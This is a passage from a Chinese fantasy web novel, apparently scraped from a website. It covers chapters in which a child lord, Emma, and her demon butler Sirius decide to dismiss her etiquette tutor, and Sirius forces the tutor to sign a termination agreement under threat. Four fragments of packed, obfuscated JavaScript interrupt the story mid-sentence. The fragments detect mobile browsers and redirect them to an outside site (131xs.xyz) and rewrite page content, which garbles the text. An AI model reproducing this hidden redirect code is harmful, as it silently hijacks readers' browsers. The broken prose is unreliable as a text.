l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945251|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业成功,人缘良好,姓氏这个门槛也已迈过,距离成为人们公认的、真正的贵族,已经是指日可待的事。 桑戴佩拉女士为丈夫育有一子二女,将孩子教育得听话懂事,许多人称羡不已。 她顺着这名声开始为一些富商甚至贵族做家庭礼仪教师,由于出身世袭贵族,她教授的礼仪标准而得体。 既有工作经验,又有可靠的出身,桑戴佩拉这个姓氏在她丈夫的努力下,俨然有复现荣光的趋势,她在贵族社交圈里的人脉和名声都很好。 艾玛将来要进入社交界时,有她的引荐,应该会顺利许多——西里斯是这么考量的。 “你们相处得不太愉快?”西里斯问。 “我想……大概是。”艾玛说,“因为我是个笨学生,女士应该觉得很不愉快。” “怎么会,您很聪明。各门课都学得很快,成绩也足够出色。” 艾玛吐了口气,闷闷道:“那可能是……我在礼仪上特别没有天赋。” “桑戴佩拉女士这么说?” “嗯……她说我太,笨手笨脚,僵硬……之类的。” 西里斯语气和缓:“您刚开始学习礼仪,这对您来说完全是个新的领域。起步总是最难的,一时找不到诀窍,感到灰心也正常。 “您心情不好,是因为女士太严厉……对您说了什么过分的指责吗?” 艾玛点头,又沉默了一会儿,才说:“一半是这个原因吧。” 西里斯偏过头,去看她向下走的视线:“那另一半?” 艾玛似乎很犹豫,可能觉得要出口的话像指责,她没有背后议论别人的习惯;也或许因为不确定做错的是否是自己,她开口时显得不太有底气。 “在女士教我传统礼仪的时候,我不明白为什么有那样的传统,想知道它们的来历,和需要这么做的原因,所以我向她提出了询问…… “但是,桑戴佩拉女士很生气,不耐烦。她说我问题太多了。像是,‘动作做不好话倒是很多’这之类的。” “您有好奇心和求知欲,这很好。”西里斯笑了笑,“看来这位女士确实不是位博学的老师,让她教您有些不够格了…… “她会有那种反应,大概是她自己也不清楚问题的答案,被您问住之后,作为教导者的自尊心受伤,恼羞成怒了。这绝不是您的问题。” 艾玛仍然不太确定:“是吗?可是她说,‘不用问那么多,只管照着做就行了’‘其他学生都是这么学的’‘为什么到你就有问题了’……” “每个人的情况和对同一件事物的接受度都不同。就像一件衣服适合某个人,但它的尺码和款式都未必适合另外的人。 “她要生硬地把适合别人的衣服往您身上套,您穿着不舒服,再正常不过了。别说聘请的专用裁缝,成衣店的老板都没这么不客气吧?” 艾玛说:“可她不愿意为我修改衣服。” “那么她不是个好裁缝。”西里斯说,“我们可以换一位更体贴的。” 艾玛焦躁地按了按手指:“可是,这样好像在逃避问题。下一位老师也未必会更好。或许礼仪教学就都是这样的。” “您的思路很勇敢。那么,您是想再跟桑戴佩拉女士磨合看看吗?” 22.失败沟通 艾玛这次沉默的时间有点长了。 她低头捏着自己的手指,很小声地说:“我试过了。” 她的语气里有点为自己争辩的意味:“我努力地试着跟她沟通过了……可是她不愿意听,不愿意理解我说的话。 “她……完全把我当做小孩子。跟她不对等的、比她无知、不成熟、不懂事的、所有意见不值一听的小孩。虽然我确实还很小……” “是有很多这样傲慢的大人呢。” “可是沃妮亚女士就不会。我刚开始学语文的时候,明明表现得更笨,但是她一点都不着急,很耐心地一遍遍教我。” “能碰到这样的老师很幸运。” “你也不会。”艾玛抬起头,直视西里斯的眼睛, “恶魔应该比人类活得长很多很多吧?你应该比那些大人的年纪都要大。” “是的。”西里斯说,“他们的年纪全部加起来都比我年轻。” “你不会像看小孩一样看我。”艾玛说,“就是,怎么说……你知道我年纪小,很多方面都很照顾我…… “但是你会认真听我说话,去理解我想表达什么……就像把我当做一个和你对等的对象。 “为什么你是这样的?如果年长意味着傲慢,你应该有资格比他们更加傲慢。” “浅薄者才更容易傲慢。”西里斯笑了一声,轻蔑道, “而我正因为活得比他们更久,看过的东西更多,才觉得这种傲慢可笑…… “呵,这种嘲笑他人的自满,也算是我的‘傲慢’吧。” 艾玛说:“你这样就很好啊。就算这是‘傲慢’也没关系,我没有因为它觉得难过。” 她停了停,好像想到什么,思考后认真地补充:“不过你对别人好像不完全是这样……只是我不觉得难过而已。这种感想,好像很自私。” “没关系。我喜欢您这样的自私。”西里斯微笑, “考虑太多很累的。您能让我随意点做事,再好不过了。” 聊完这些,艾玛好像终于放松了一点,情绪没有之前那么低落了。 她低头又思考了一阵子,叹一口气:“但是——还是好不甘心。” “不甘心什么?”西里斯问。 “不甘心……‘还是没能和桑戴佩拉女士互相理解’这件事。”艾玛咕哝道, “我知道,我的处理方法一定很不成熟。想要互相理解,一定有更好的沟通方式……措辞还不够巧妙?我的阅历还不够丰富,说不出更有道理的话? “可是……之前和嘉兰就可以的。一开始虽然也合不来,但我现在能够理解嘉兰,她也接受我了。 “我以为……只要好好沟通,都可以像这样互相理解、成为朋友……” “‘互相理解’,嗯……这个愿望很大。”西里斯说,“抱歉我要给您泼点冷水,希望您能宽容一下。” 艾玛困惑地抬抬眼。 “虽然说‘魔法几乎无所不能’,我相信身为女巫的您更能做到许多常人不能做的事。但是涉及到人和人之间太细微的东西,魔法也爱莫能助了。”西里斯说, “在我看来,‘互相理解’有相当多的条件限定。您和嘉兰具有满足这份条件的缘分,那么经过努力,你们可以达成一定的理解。 “但是,譬如桑戴佩拉女士,你们两位性格、年龄、经历的差异,就导致你们必然无法满足达成相互理解的条件。 “这些硬性条件不可更改、不可变化、不会随意扭曲,它们的形成甚至一定程度上不以你们的主观意志为转移,二位都不能说‘有错’,但因此也不存在‘假如’。您为此自省,就太无谓地耗费精力了。” 这段话有点难懂,艾玛听得有点费力。 西里斯看出她的困惑,但建议本来就是不要求对方必须接受的东西,他只是阐述了一些自己的想法,艾玛听过就行。 “总之……我想表达,我认为‘想要和所有人达成互相理解’,即使作为理想,都太过理想了。甚至作为一种假说,它都充满站不住脚的自相矛盾。我建议您不要在这个问题上过度纠结。 “您愿意去理解其他人,这种想法非常温柔,但最好适当地拣选对象。如果对方不是值得的、和您有缘分的人,趁早放弃和他友好相处的想法比较好。” 西里斯端起杯子喝了口茶水:“这些都是我的个人之见……我自己的经验之谈。当然,它们也同样不一定适用于您。 “我不是像您那么温柔的人,早就不追求和人互相理解了。 “您和我不一样,或许能做到更多,用我自己的狭隘来限定您的想象力确实不妥当。 “等您遇见更多人,做过更多尝试之后,您一定会得出属于自己的结论。我只希望我的经验能为您提供一些参考,让您在受挫时为此少纠结一些。” 艾玛认真地咀嚼了片刻,点点头:“虽然还不是完全理解,但是谢谢你跟我说了这么多。” 为了表示感谢,艾玛端起桌上的茶壶给西里斯添了杯水。 西里斯拿起茶杯,又喝了一口,表示接纳这份谢意。 “那么……根据您的叙述,我认为换一位礼仪老师比较好。”西里斯说。 艾玛还是犹豫了一下:“你选她来当我的老师,一定有你的考虑。只上了半个月,现在就要换老师,是不是我太任性了?而且,这么做一定也很伤害桑戴佩拉女士的感情。” “如果她不是合适的人选,现在就换掉她,是及时止损。选了一位不合格的家庭教师,是我的失职,您不必有愧。” “可是……”艾玛难得在一件事上反复纠结,她看了看西里斯的表情,没看到不耐烦,终于还是问出了其他顾虑,“她是……你聘请的老师。 “那个,我的老师都是你找来的,决定是你做的。名义上,我是这座城市的领主,但是,他们心里可能不这么认为……或许,我说的话不算数。” “唉……我尊敬的‘主人’。” 西里斯幽幽叹了口气,牵起艾玛的右手,按到他心口,提醒他们之间牢不可破的契约。 “请相信,我‘只是’您的代言人、代行者。我所做的一切绝不违背您的授意。 “您许愿成为这座城市的领主,那么您现在,此刻,就确确实实是这里真正的领主。您拥有一位领主所有的一切荣耀、地位、权力,没有人有资格质疑。 “您想做任何决定,都尽管去做,不需要通过我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952466|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我是您的刀剑,您的后盾,也可以成为您的喉舌。但我只是辅助您实现目的的工具,不能取代您思考。 “您当然可以随意开除一位家庭教师,哪怕没有理由。只要您需要,我可以让‘桑戴佩拉’这个姓氏明天就彻底消失。” 他娓娓道来,口吻煽动而富有蛊惑性。 艾玛触摸到他的心跳,在她指尖一下、一下,稳定地律动。 她嗯了一声:“我会自己和她说的……谢谢你。” “尽管大胆些吧,直接说‘你被开除了’也没关系。” “那好像太不礼貌了。”艾玛说,“虽然,我跟她相处得不太愉快……我确实不喜欢她。但,像你之前说……那可能只是我跟她没有缘分,所以合不来,没有人有错。 “桑戴佩拉女士很优雅,我很佩服她。她毕竟有好好教过我,虽然是按她的方式。我不想做得太过分。” “您很温柔。”西里斯松开她的手,“那么,您自己有判断就可以了,尽管去做。有任何意外,我都会帮您收尾的。” 艾玛点头,松了口气:“哎……下定决心了,感觉放松了很多。” 西里斯笑笑:“恭喜您。” 下午很长,距离晚餐还有一段时间。 艾玛放下了心事,一时不准备离开,打算在西里斯这里再休息一会儿,整理一下思路,或者也可以看看西里斯的书。 不过西里斯的书大多很难懂,专有名词特别多,甚至有好几个语种。 对于文字初学者级别的艾玛来说难度太高了,好在也有一些简单的通俗文学,甚至较为珍稀的手绘图鉴本。看不懂字好歹也能看看画。 西里斯的桌上放着几个玻璃瓶,瓶里有的装着液体,有的装着粉末,还有的装着矿石和植物干。每个瓶子上都贴着标签。 艾玛拿了一个看,标签上的名词太长了,她拼读起来都费劲。 墙面置物架上摆的瓶罐大约都是这一类东西。西里斯说这是他的爱好。 他虽然自谦只是懂一点医术,但在艾玛看来,西里斯懂的不少,从跌打损伤到风寒感冒的药物怎么调配都了解。 因此用生病做请假的借口在西里斯这里有点难,递假条的时候他看对方脸色就知道是实话还是扯谎。 有些佣人手头紧张,付不起医生的诊断费,知道西里斯懂点医术,就问他能不能帮忙开个药方。 对方信得过他,如果只是些寻常小病,西里斯不介意顺手帮个忙。 有几个佣人靠着他的药方治好了病,大感钦佩,使得西里斯这本事在佣人里也小有名气。 但西里斯不喜欢麻烦,吃的药治不治得好病有诸多因素影响,给人吃出问题了还得找他。 所以西里斯只看情况答应部分诊断请求,对其他人只有一句建议:去看医生。 艾玛对着瓶子上的标签拼了半天,没拼出来,放下,拿起一瓶新的,还是拼不出来。 那玻璃瓶里装着黑蓝色的液体,从窗外漏进少许的日光流转过晃动的液面,发出诡谲的光。 看起来真不好喝,艾玛想。 常听人说良药苦口,这药看起来就苦。 “西里斯,这是什么?”艾玛好奇地一问。 23.朱砂 西里斯看了看,放下书,接过她手里的瓶子:“哦,这是我刚调的毒药,放在这里等杂质析出的。时间差不多了。” 艾玛想:那恐怕确实很苦。 她看着西里斯举起玻璃瓶,对着光转动瓶子,观察瓶里的液体,于是突然想到:“你受的伤很快会自己复原,用不着药剂,那为什么你对这些还这么了解?” 西里斯看着在光里变得通透了一些的液体,眯着眼睛随意地答:“我最早研究药理,是为了学习怎么制作毒药。” “用魔法杀人的方式很多,但毒药更原始……简单又有效。药物所能牵动人体发生的连锁变化之细微,连治愈的法术都很难企及。 “许多魔法师再强大,身体也只是脆弱的人类。就算用种种法术保护自己的外壳,也很难抵御来自身体内部的崩溃。” 西里斯观察完,放下瓶子,翻开一边的笔记本做记录,继续对艾玛道:“擅长治愈法术的人很少见,治愈型的魔法石也很稀少。并且,治疗法术也未必能清理干净毒药对人产生的细微影响。 “对现在的您来说,毒药还很危险。我在您的饮食接触上一直很小心,也做了应对最坏情况的保险手段……那个保险机制至今没触发过,是个好消息。” 艾玛说:“毒药这么可怕……那不是很危险,很难避开?” “也不完全。魔法师们都有一种奇妙的特殊直觉,越强大的魔法师所具有的直觉就越清晰。直觉会向我们警示‘什么东西有问题’,我们可以凭借这种预警避开危险。” “就像上次在那间酒吧,你发现那杯饮料里被下了药一样?”艾玛回忆,“但我没感觉到什么问题……” “是的,但那杯饮料里的药量不大,下药的人想谋取钱财而非性命,抱有的恶意也不够强烈,所以反而不容易察觉。我虽然能看出来,但对于还没磨砺过直觉的您来说,难度太高了。之后我会教您做些练习,相信您会熟练掌握的。” 直到西里斯写完记录抬起眼睛,艾玛才看着他开口:“最早是为了研究毒药,那现在呢?你明明也会那么多治病的药方。” 西里斯放下笔,指尖压过桌面:“我会很多种类的魔法,但不包括‘疗愈’。我的愿望是‘死’,和与它相对的所有关于‘生’的愿望都不成立。 “但我总要跟人打交道……反而关于治疗的需求和应用更多些。毒药和医药的原理相通,学了一个,另一个也就跟着学了。现在只是做来打发时间。” 他摩挲着药瓶的瓶口,手指微微收紧。 “我杀死过自己很多次,吃下过所有自己做得出的毒药,抱着这不死的身体仍然应付不了某种药物的侥幸心理……没有一种毒药有效,甚至它们渐渐对我不起作用了。那我的血应该比任何毒药都毒。 “可我抽出自己的血做了实验,它们离开我之后又好像只是普普通通的血液。没有毒性,也没法用作解药,跟普通人的血液没什么区别。我也不明白……” 西里斯沉默一会儿,放松了表情:“反正……现在,我掌握的这些药理知识好歹还能帮上您的忙,也不算浪费。” “你用这些知识帮很多人治过病,当然不算浪费。”艾玛知道他给那些佣人诊断的事,说得很肯定。 “好吧……虽然不是我的本意,但结果不错,是吗?” 艾玛点头。 她再看桌上那堆瓶瓶罐罐,视角不同了,开始机警地猜测,哪些是毒药,哪些是治病的药。 她在那些瓶子里看了一阵子,终于拿出那瓶她最在意的。 艾玛试着读一读标签,这个单词好像没有难到拼不出来:“ci……cinna……baris。” “Cinnabaris,朱砂,也可以叫丹砂、汞沙,名字很多。”西里斯流畅地念了一遍。 艾玛晃晃瓶子,瓶里装着一半暗红色的粉末。她看看那堆粉末,又看看西里斯,点点头像是确定了什么:“这瓶药的颜色跟你眼睛的颜色很像。” “确实有相似之处。”西里斯说,“这是我很喜欢的一味药。” “那这应该是治病的药吧?”艾玛猜测。 “不完全是。这也是医学里我觉得很有趣的一个地方。同一味药,使用剂量不同、混合品类不同、制作方式不同,产生的效用也截然不同。”西里斯看了看那瓶暗红的粉末,对艾玛微笑, “朱砂可以安神、解毒,有很多药用,但使用不当,也会成为夺人性命的剧毒。它能治人,也能害人……会得到什么结果,要看您怎么使用。” 艾玛点头,试图拿起瓶子学着西里斯那样对光观察。但瓶里的朱砂粉末相当实心,薄弱的光线没能穿透它。 她遗憾地放下手:“不过,它的颜色很好看……” “是有佩戴朱砂作为装饰品的人。不过考虑到它的毒性,贴身佩戴有一些风险。” 西里斯摸了摸书柜旁边架子上的盒子,找到了他想要的,打开推到艾玛面前,里面有几块还没磨成粉的朱砂矿石。 “如果您有兴趣,这些送给您,可以拿去当摆件。” “我不用这么多。”艾玛比了个手势,“就拿一块吧。” “那您挑一块中意的。”西里斯又摸了个空玻璃瓶给她。 艾玛从盒子里拣出一块,放进瓶里盖上。 朱砂石的棱角撞到玻璃壁,发出清脆的响声。 她打量着瓶里的矿石,想了想,学着西里斯的方式,从他桌上抽出标签纸,写上朱砂的学名,贴到玻璃瓶上。 她读了两遍这个单词的拼写,很满意。 西里斯把多余的东西收好,转过目光,看见艾玛又在看他。 他没出声,艾玛撞上他的目光,顿了一下,经过一个不明显的思考和决心,她看着西里斯的眼睛说:“我从来没有把你当成工具。” 西里斯默了片刻,露出一个微笑:“我的荣幸。” 艾玛想,啊,又是那种笑。 西里斯其实不太喜欢笑,他放松的时候往往没有表情。 艾玛刚认识他的时候,西里斯在她面前总挂着那种礼貌又得体的微笑,直到逐渐熟悉,他才不一直那么绷着。 但是时不时,那种笑容又会出现在他脸上,像是一张为特定场合准备的面具。 那种笑意代表客套、应酬,代表拉开距离。艾玛不喜欢这种感觉。 “保留意见”的意思,吗…… 艾玛想道,闭上嘴,最终没有多说什么了。 桑戴佩拉·波娜今年五十四岁。贵族们由于良好的生活条件,往往比平民长寿许多。 波克奈利的贵族多能活到八九十岁,但五十四这个年纪就算在贵族中也算不得年轻了。 许多人认为她可以在家歇着安享天年,但她觉得那太无趣。 桑戴佩拉·波娜自幼就是热烈而急躁的性子,喜欢宴会,喜欢社交,喜欢长裙、珠宝,高雅的音乐,稳定的秩序。 一切应该井井有条地在被安排好的道路上行进,她讨厌意外,讨厌弦上的不和谐音。 “我认真地考虑过了,桑戴佩拉女士。根据这段时间的学习和对彼此的了解,我认为您的教学方式跟我不太合适,我无法在这样的学习中拿出让我们都满意的成果。我很抱歉。但是,我认为结束我们的课程会更好。” 桑戴佩拉·波娜挑起了一边的眉毛。 有人说她有一双含着煞气的眼睛,因此与她对视叫人害怕。不管是子女还是学生,被她不声不响地这么一盯,往往就发了怵。 但那个年幼的,名义上是这里的领主的女孩,平静地望着她。 那双金色的眼睛很安静,像一片能消解任何情绪的水泽。 桑戴佩拉不喜欢这双眼睛。 所以她率先移开了目光,用和缓些的语气道:“我知道,您的礼仪学习不太顺利。毕竟您失了忆,忘得太干净,得从头学起,也是没办法的事。没有什么事容易。如果面对一点挫折就要回避,是什么都做不好的。” “这是我考虑后的结果,我只是来通知您的。抱歉,女士。” 艾玛的语气平稳,但异常肯定,带着一点柔和的歉意,没有其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959774|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他指责或怨恼的情绪。 后者在她的其他学生身上很常见,即使是她自己的孩子也曾用那种语气跟她说话,桑戴佩拉不陌生。 但像艾玛这样的回应态度,她倒是第一次见。 桑戴佩拉早感到这孩子身上有些微妙的异常,她难以说清。 也许是那份笨拙让她烦躁,也或者是不屑于孩子的幼稚和天真,再或者,因为那双眼睛里那种稳定得让人无端心惊的安静。 孩子们往往更情绪化,不擅长掩饰想法。桑戴佩拉不喜欢他们这种地方,但艾玛那种难以被她影响的气质更令她厌恶。 桑戴佩拉不喜欢这孩子,虽然她不曾承认。 费拉约尔斯神秘的新领主是坊间和贵族社交场上颇受欢迎的谈资,桑戴佩拉自然也带着一点好奇,但更重要的,是领主这个位置象征的地位、权力和资源。 因此收到任职邀请时,她欣然应允。 她教过更年幼的孩子,但艾玛比她想象得还天真,又太有想法。 她不会老老实实跟着桑戴佩拉的步调,总是思考些异想天开、桑戴佩拉从未想过的蠢问题。 她是家里的女主人,受学生尊敬的老师,一切事应该在她的掌控下、顺着她的安排走。 艾玛让她的计划脱轨,感到一切不受她控制。 一个幼稚又不听话、跟她抢夺控制权的蠢学生。如果不是因为她领主的身份,主动提出辞职不教这棵朽木的人应该是她才是。 但也正因为她这领主的身份,桑戴佩拉不能轻易放手。 做一位年幼的领主的家庭教师,好处太多了。 听说她要教授新领主礼仪课之后,有意前来攀谈结识她的人多了不少。 有人好奇这位神秘领主的更多消息;孩子容易受亲近的成人影响,便有人想借桑戴佩拉的关系连带捞到领主所能给予的好处。她丈夫近来因此谈下了好几笔生意。 她还没能对艾玛造成足够的影响,没从这孩子身上看到一点对她的尊敬,现在抽身离开绝得不到什么好处,反而有太多损失。 桑戴佩拉当然不会轻易松口答应。 但艾玛的语气和说辞都太肯定了,没有一点回缓的余地。 桑戴佩拉见识过她的个性,也厌烦跟一个小孩消磨无谓的精力来讲道理。 孩子就是不懂事的,哪听得进什么道理? 她皱起眉,按下性子露出商量的口吻:“您对我有情绪,我能够理解。任谁被批评都会觉得不快,但请相信,我是真的为您好才那么说的。您想辞退我,不能凭您的一时冲动。我需要先和您的管家谈谈。” 不出意料的要求。 艾玛没有改变表情:“我才是费拉约尔斯的领主,女士。我能够为我的决定作主,不需要通过其他人的意见。” “有些事,总是大人之间才讲得明白。” 艾玛顿了一下:“我的管家会赞同我的意见。但是,如果您执意要和他谈谈……我会让他过来的。” “劳烦您了。”桑戴佩拉用自己不多的耐心客气道。 艾玛推开会客室的门出来的时候,西里斯已经等在门口。 艾玛指了指身后的门:“她想见你。” “嗯,总要见的。毕竟我还得和她谈谈终止合同,再结一下目前的薪资。”西里斯打量她的表情, “从您的反应,我看不出里面的情况,姑且一问,女士现在情绪如何?” “还算稳定吧。”艾玛说。 “您果然还是说得太客气了。”西里斯很遗憾。 “说多了总觉得我在仗势欺人……” “真是善良啊。不过,对于崇拜权力的人来说,只有更绝对的权力才能让他们听话。您不妨习惯一下这种感觉,适当地扮演坏人是有好处的。” 西里斯将目光投向门扉,“那么,我现在要去本色出演一下仗势欺人的坏人了。” 他感到袖口被扯了扯,艾玛向他商量:“你可以不要做得太过分吗?” “好。”西里斯答应,“既然您这么希望的话。” 24.“珍珠” “上午好,桑戴佩拉女士。”西里斯关上门,进场就笑着开始寒暄, “春天还冷着呢,您的住处离这里远,麻烦您过来了。已经快中午了,您要不留下用餐吧?” 桑戴佩拉冷冷地道:“用餐的邀请是结束对话的话题,你一开始就要直接送客了?” “怎么会,我真诚地出于好心才这么说。”西里斯走到了她对面的沙发坐下, “等我们结束对话的时候,我一定没有机会提出这样的邀请了。” 她哼了一声:“你的小主人刚刚说要辞退我。” “好像是这样。真是遗憾,女士。” “孩子的意见不能作数。你是这里的管家,你应该明白。”桑戴佩拉说,“她还年幼,任性,耍脾气,那是正常的。但是大人不该助长她这种骄纵的个性。” “啊,您说得真是严重。但您也知道,她是我的主人。她做下的决定,我都得遵守。” 桑戴佩拉忍不住停了停,从那张脸上仍然看到一副无懈可击的笑意。 她虽然之前就奇怪这对主从的关系,但越看越觉得诡异,完全不符合常理。 唯一的解释是,西里斯在隐藏自己的真实想法,且隐藏得很好。 桑戴佩拉在赌,赌他是个精明而擅于演戏的野心家。 怎么会不是呢? 一个身份来历不明,没有背景靠山,怎么看怎么像个台前傀儡的年幼领主,背后怎么会没有一个暗地里攫取所有权力的真正掌权人? 如果这孩子真的有足以保护她的背景,她的父母又怎么会不把这背景展示出来震慑他人,甚至没有留下能让贵族们猜到的任何暗示? 金色的眼睛虽然罕见,但波克奈利的王室贵族中没有这瞳色的重要人士。黑发更是常见又普通,即使和金眸结合在一起都让人无从联想。 看不到的东西,那确实就是没有。 桑戴佩拉不信这样一位在领主身边有话语权又有手腕的人会对这可以轻易掌握的权力不动心,除非这权力本就是他的东西。 因此聊到这里,桑戴佩拉想:这人演技果然很好。 跟这种聪明人对话就吃力了,桑戴佩拉决定把暗示说得更明白些:“我知道,你有替她做决定的权力。” “怎么可能呢?您对我误会真大。” 对话毫无进展。 桑戴佩拉沉下声:“我不喜欢绕圈子。你直说吧,需要我帮你什么,你才会‘让她打消这个蠢念头’?” 西里斯想了想,点头道:“是有想让您帮忙的事。您看,我们签的聘任协议本来是长期合同,才半个月就要解约是很麻烦。不如您直接把您的要求说清楚,我起草解约协议也会更快,不耽误我们彼此的时间。” 桑戴佩拉沉默了一会儿,隐含怒意地说:“你在耍我吗?” “我可是认真的呀。您现在说清楚,我立刻就把解约协议写好,在午餐之前您就可以签完协议、领好结算的薪资,想不想留下用餐可以看您喜欢。 “协议签完,我的小主人也能放心,当然不会再有那些惦记您的念头了。” 艾玛铁了心做决定可以是孩子的一时冲动,西里斯铁了心要跟她装傻,那一定是把她当傻子看。 桑戴佩拉坐不住了:“你真以为——真以为别人会相信,她‘有恩于你’,你就死心塌地?你以为你能靠这不像样的谎话骗过所有人?” “哎,总有不相信的人。” 她捏紧了双手,死死盯着西里斯,撕破了最后的脸面:“如果我向贵族们……向王室告发你是个巫师,你以为你能全身而退吗?” 西里斯这次是真的笑出来了,没再装出那张得体的面具。轻蔑的目光让桑戴佩拉不安地浮上他的眼睛。 “您能想到的,对我最大的威胁,只是这种程度?”西里斯的口吻轻松,带着低低的笑音,“我是知道,你们的圈子里早就有‘我是个巫师’的传言。您已经狼狈到用传言来威胁我了吗,女士?” 桑戴佩拉被说中了。 她早就在社交场上听过这样的传闻,心里信了几分,但至今没有得到任何确切的证据。 “传言,直觉,这之类的话当不了证据。要掀动舆论,您也比不过我的本事。” 西里斯娓娓道来,像毒蛇在幽幽吐信,“退一万步说,王室相信了您的告发,那又怎样呢?您一定是知道的,贵族里豢养巫师的人可不在少数。 “得天独厚的魔法师没有那么多,但是用为人不齿的‘邪术’培养出的巫师,一般人也看不出差异。您猜,我能出卖给王室的利益,能不能让他们装聋作哑?” 他说的是实情。 桑戴佩拉完全相信他这份假设的可行性。 “要我示范一下怎样是有效的威胁吗?比如,我可以让桑戴佩拉在贵族的社交圈里名声扫地,可以让您丈夫的生意明天就破产,抹掉一个姓氏很简单,领主的权力完全能做到这些,甚至用不上巫师的把戏…… “不需要更多伤人的例子了吧?” 桑戴佩拉的脸色慢慢变白了,因为愤怒和恐惧僵硬,又因为矜持和理性沉默。 她年轻的时候有一头黑色的秀发,如今已因为年岁增长而自然添了许多斑白,但她用染发的药剂让它们看起来强行回到了青春的状态。 她把头发梳理得很妥帖,从头到脚戴着各式彰显身份的珠宝,衣着裙装考究。 无论外表、举止、个性,没有一点脱离出那个金碧辉煌的、将她培养成如今样貌的、高人一等的贵族的美梦。 西里斯跟太多贵族打过交道了。 好的、坏的,新的、旧的,因为太过熟悉而了解,因为了解而厌烦,他对此已经没有以前那么耐心了。 有那么半分钟,西里斯看着这个浅薄、高傲、可悲的女人,想了很多种让一个没落贵族无声无息地死去的方式。 杀死一个人很简单,再不然,要一个人痛苦也很简单。 她在乎什么,就从她身上剥夺什么,名声、财富、地位、性命……家人。 他做过很多次这样的事,这不难。人的阈值是会降低的。 从前他会考虑更多这个人是否罪有应得,现在西里斯只想用最有效率的方式解决问题。 直接做出行动,比口头上这些迂回的威胁警告更加有效,也方便太多了。 但艾玛让他不要做得太过分。 西里斯看着桑戴佩拉,客观地想,这个人罪不至死。 但他确实有点不太高兴。这是他给艾玛选定的老师,老师的失职也是他的选择失误。 西里斯不是犯不起错,决策失误再常见不过。 但这次错误的决策影响到了艾玛,他莫名有了点多余的恼怒。 他咀嚼了一下自己的情绪。 西里斯至今仍然时常想到,生杀予夺应当是神权,他为自己还有这种想法感到可笑。 上位者渴求类同神的权力,轻易决定弱者的生死。他的视野也放高太久了,不自觉地就习惯以俯视的目光看待他人。 西里斯不喜欢这个视野,无论是作为俯视的人还是被俯视的人。 有一点警醒是好事。 即使他为艾玛愤怒,也只是拿她做自己情绪的借口。 做出行动的既然是他,承担结果的当然是他。 西里斯一直很清楚。 他按下心里那些冒出了头的杀意,调整片刻,再度露出那张客气的笑脸。 “我想,我们已经达成初步的一致了。”西里斯从他们之间的茶几一角上抽出文件,推到桑戴佩拉面前,“事实上,我提前拟定了一份解约协议,您可以看看。如果有什么疑问,我们可以现在就商讨解决掉它。” 桑戴佩拉沉默着拿起文件。 协议的内容很正常,提出的条款、偿付的价格都算合理。 西里斯在对面微笑地看着她,那目光让她很不舒服。 桌面上的笔和墨水瓶都是早已备好的,桑戴佩拉在协议末尾签上了字,连名带姓——“桑戴佩拉·波娜”。 “波娜”写得可真难看。她在落笔结束的那一瞬间想。 这个名字在波克奈利语里的含义是“珍珠”,她一直不喜欢。淡水养殖的珍珠廉价而常见,跟金银宝石放在一起,光辉完全无法相比。 她总觉得母亲是因为没落的家族没有更好的经济条件,才会喜欢这种廉价的饰品。 母亲盼望她接受家族衰落的现实和命运。 桑戴佩拉·波娜不接受。 她信自己生来是宝石,该受众人瞩目与赞美。 她付出了年轻、美貌、婚姻、钻营而得到如今的一切。 现在很少有人叫她的名字了,少到有时她会忘记那发音是在称呼她。 但,“桑戴佩拉”——多美的姓氏!为这姓氏和它背后附加的一切含义。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968110|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 桑戴佩拉才意识到,她将自己的名字写得太难看不是出于生疏,而是因为她的手在发抖。 “没事,您签完了就行,没有其他人会在乎协议上的字迹。”就像看出了桑戴佩拉所想,西里斯的声音飘过来,止住了她犹豫的话音。 桑戴佩拉顿了片刻,把笔往桌面一放,拢了拢自己的外套就站起身。 西里斯也起身道:“我送您吧。” “不必了,我认得路。”她冷冷地说。 西里斯没有多强求,而是继续看着她的脸:“虽然协议里也有说明,但原谅我多此一举地提醒:在外人面前,请不要作出任何有损于领主大人的言论。否则我不得不……‘追究’一下责任。” 桑戴佩拉刚刚一直避开他的眼睛,直到这时才转过眼,碰上他的视线:“‘不能作出有损于领主的言论’,那么,议论你难道没有关系?” “那是您的自由。”西里斯微笑,“费拉约尔斯的领主是谁,您不应该是第一天知道。” 桑戴佩拉深深地望了他一眼,转身离开,没有再回应他的礼数。 会客室的门再度关上。 西里斯的表情慢慢剥离,随手从桌面拿起刚才的协议,看着末页上的签名。 无用的、贵族的自尊心啊。 